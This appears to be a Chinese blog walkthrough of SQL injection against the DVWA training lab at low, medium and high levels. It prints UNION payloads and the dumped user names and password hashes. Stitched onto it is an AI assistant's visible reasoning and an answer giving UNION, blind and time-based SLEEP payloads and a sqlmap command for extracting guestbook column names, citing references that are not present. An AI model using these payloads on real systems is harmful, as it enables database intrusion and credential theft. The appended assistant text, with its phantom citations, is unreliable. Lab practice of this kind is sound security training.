DVWA - SQL Injection (low, medium, high)

low

查看源码,可发现是注入点id为字符类型,无验证,直接上:

' union select first_name,password from users#

返回结果如下:

ID: ' union select first_name,password from users#
First name: admin
Surname: e2075474294983e013ee4dd2201c7a73
ID: ' union select first_name,password from users#
First name: Gordon
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union select first_name,password from users#
First name: Hack
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union select first_name,password from users#
First name: Pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union select first_name,password from users#
First name: Bob
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

medium

查看源码,发现代码用mysqli_real_escape_string来转义特殊字符,但是此时的注入点id为数值型,不需要用’。修改html源码提交:

<option value="0 union select first_name,password from users">1</option>

返回结果如下:

ID: 0 union select first_name,password from users
First name: admin
Surname: e2075474294983e013ee4dd2201c7a73
ID: 0 union select first_name,password from users
First name: Gordon
Surname: e99a18c428cb38d5f260853678922e03
ID: 0 union select first_name,password from users
First name: Hack
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 0 union select first_name,password from users
First name: Pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 0 union select first_name,password from users
First name: Bob
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

high

查看源码,可发现注入点id为字符型,查询记录限1,其实方法和low差不多

' union select first_name,password from users#

返回结果如下:

ID: ' union select first_name,password from users#
First name: admin
Surname: e2075474294983e013ee4dd2201c7a73
ID: ' union select first_name,password from users#
First name: Gordon
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union select first_name,password from users#
First name: Hack
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union select first_name,password from users#
First name: Pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union select first_name,password from users#
First name: Bob
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
<think> 首先,用户的问题是关于DVWA靶场中SQL注入题目中获取数据库表guestbook字段名的方法。用户的查询是:“我想查找在dvwa靶场sql injection题目中获取数据库表guestbook字段名的方法”。 我看到的引用提供了一些相关上下文: - 引用[1]显示了一些SQL命令,包括使用`select * from guestbook;`,这表明guestbook表存在。 - 引用[2]讨论了SQL盲注,涉及猜测数据库名、表名和列名。 - 引用[3]展示了SQL盲注查询,用于猜测表名长度和表名本身。 - 引用[4]提到SQLmap的使用,但指出在高安全级别下可能需要调整。 - 引用[5]是关于XSS的,不直接相关。 用户特别关注于获取guestbook表的字段名(也称为列名)。在SQL注入中,获取表结构通常涉及查询information_schema数据库。 关键点是:在DVWASQL注入题目中,用户需要通过注入点来获取guestbook表的字段名。 从引用[2]和[3]中,我看到information_schema.tables和information_schema.columns表被提及。这些表存储了关于数据库对象的元数据。 具体方法: 1. **确定数据库名**:通常,在DVWA中,数据库名是'dvwa',但可以通过查询如`select database();`来确认。 2. **获取表名**:用户已经知道表名是'guestbook',但如果是盲注,可能需要猜解。 3. **获取字段名**:通过查询information_schema.columns表。 查询字段名的SQL语句通常是这样: ```sql SELECT column_name FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'guestbook'; ``` 或者,使用当前数据库: ```sql SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = 'guestbook'; ``` 在DVWASQL注入题目中,安全级别不同(Low, Medium, High),注入方法可能不同: - **Low级别**:输入直接插入查询,容易注入。 - **Medium级别**:可能有一些过滤或转义,但可以被绕过。 - **High级别**:输入在另一个窗口,需要调整方法(如引用[4]所述)。 用户的问题焦点是获取字段名,所以我需要提供针对不同安全级别的方法。 基于引用[3],它展示了盲注查询: ```sql 1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# ``` 类似地,对于字段名,可以修改查询。 步骤: 1. **构造注入查询**:在注入点输入恶意字符串。 2. **获取字段数量**:可能需要先知道有多少字段,例如使用`order by`子句。 3. **提取字段名**:通过盲注(布尔盲注、时间盲注)或联合查询提取数据。 例如,在Low级别: - 使用联合查询: ```sql ' union all select column_name, null, null from information_schema.columns where table_name='guestbook' -- - ``` 这假设原始查询有多个列,需要匹配列数。 在盲注情况下: - 布尔盲注:检查条件是否真,例如: ```sql ' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='guestbook' limit 0,1) > 64 -- - ``` - 时间盲注:使用`sleep()`基于条件。 用户提到"dvwa靶场sql injection题目",但没有指定安全级别,所以我应该覆盖一般方法。 最终,回答需要: - 使用中文。 - 结构清晰,逐步解释。 - 使用正确的LaTeX格式:行内用$...$,独立公式用$$...$$(但这里可能不涉及复杂数学)。 - 生成相关问题。 - 在引用段落末尾添加引用标识,如[^1]。 引用标识: - 引用[1], [2], [3], [4], [5] 来自用户提供的文本。 - 在回答中,我需要自然地引用它们。 回答结构: 1. **介绍方法**:简要说明如何获取字段名。 2. **详细步骤**:分步解释,根据不同安全级别。 3. **代码示例**:提供SQL注入查询示例。 4. **注意事项**:提醒安全级别的影响。 5. **相关问题生成**:在末尾添加相关问题。 相关问题想法: 1. 如何防御SQL注入攻击? 2. SQL盲注和普通SQL注入的区别? 3. 如何在高安全级别下使用SQLmap进行注入? </think> 在DVWA靶场的SQL注入题目中,获取`guestbook`表字段名(列名)的核心方法是利用**information_schema.columns元数据表**进行查询。以下是详细步骤和方法,覆盖不同安全级别(Low/Medium/High),并参考了您的引用内容。 ### 方法概述 1. **原理**:所有MySQL数据库的元数据(如表名、字段名)存储在`information_schema.columns`表中。通过注入查询该表,可获取`guestbook`的字段名。 2. **关键查询**: ```sql SELECT column_name FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'guestbook'; ``` - `table_schema='dvwa'`:指定数据库名(DVWA默认数据库)。 - `table_name='guestbook'`:指定目标表名[^2][^3]。 3. **安全级别影响**: - **Low级别**:直接注入联合查询。 - **Medium/High级别**:需绕过过滤(如转义符)或使用盲注。 ### 分步操作指南 #### 步骤1: 确认注入点 -DVWASQL注入页面输入测试载荷(如`' or 1=1 -- `),验证是否返回数据库错误或额外数据[^1]。 - 如果返回正常数据,说明存在注入漏洞。 #### 步骤2: 获取字段名(以Low级别为例) 通过**联合查询(UNION SELECT)** 直接提取数据: ```sql ' UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='guestbook' -- ``` - **说明**: - `UNION SELECT`:需匹配原查询列数(可通过`ORDER BY`测试列数[^1])。 - `column_name`:目标字段名。 - `null`:占位符,匹配其他列数据类型。 - `-- `:注释后续SQL语句。 - **结果**:页面将返回`guestbook`表的所有字段名(如`comment_id`, `comment`, `name`等)[^2][^3]。 #### 步骤3: 中高安全级别调整 - **Medium级别**: - 输入可能被转义(如`'`转为`\'`),需绕过: ```sql 1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='guestbook' -- ``` - **High级别**: - 注入点在新窗口(POST请求),需用工具(如SQLmap)或时间盲注[^4]: ```sql ' AND (SELECT IF(ASCII(SUBSTR(column_name,1,1))>64, SLEEP(5), 0) FROM information_schema.columns WHERE table_name='guestbook' LIMIT 1) -- ``` - 通过响应延迟判断字段名首字母ASCII值。 ### 注意事项 1. **字段名猜解**:如果直接查询失败,使用盲注逐字符猜解: ```sql ' AND (SELECT ASCII(SUBSTR(column_name,1,1)) FROM information_schema.columns WHERE table_name='guestbook' LIMIT 1) > 96 -- ``` - 通过页面真/假响应或时间延迟推断字符[^3]。 2. **工具辅助**:SQLmap自动化注入(需指定参数)[^4]: ```bash sqlmap -u "http://靶场URL" --data="id=1" -D dvwa -T guestbook --columns ``` 3. **防御规避**:DVWAHigh级别可能过滤关键词(如`information_schema`),需使用等价表(如`mysql.innodb_table_stats`)[^5]。 ### 总结 通过查询`information_schema.columns`并适配安全级别,可高效获取字段名。实践中优先尝试联合查询(Low级别),盲注或工具用于中高难度场景[^2][^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值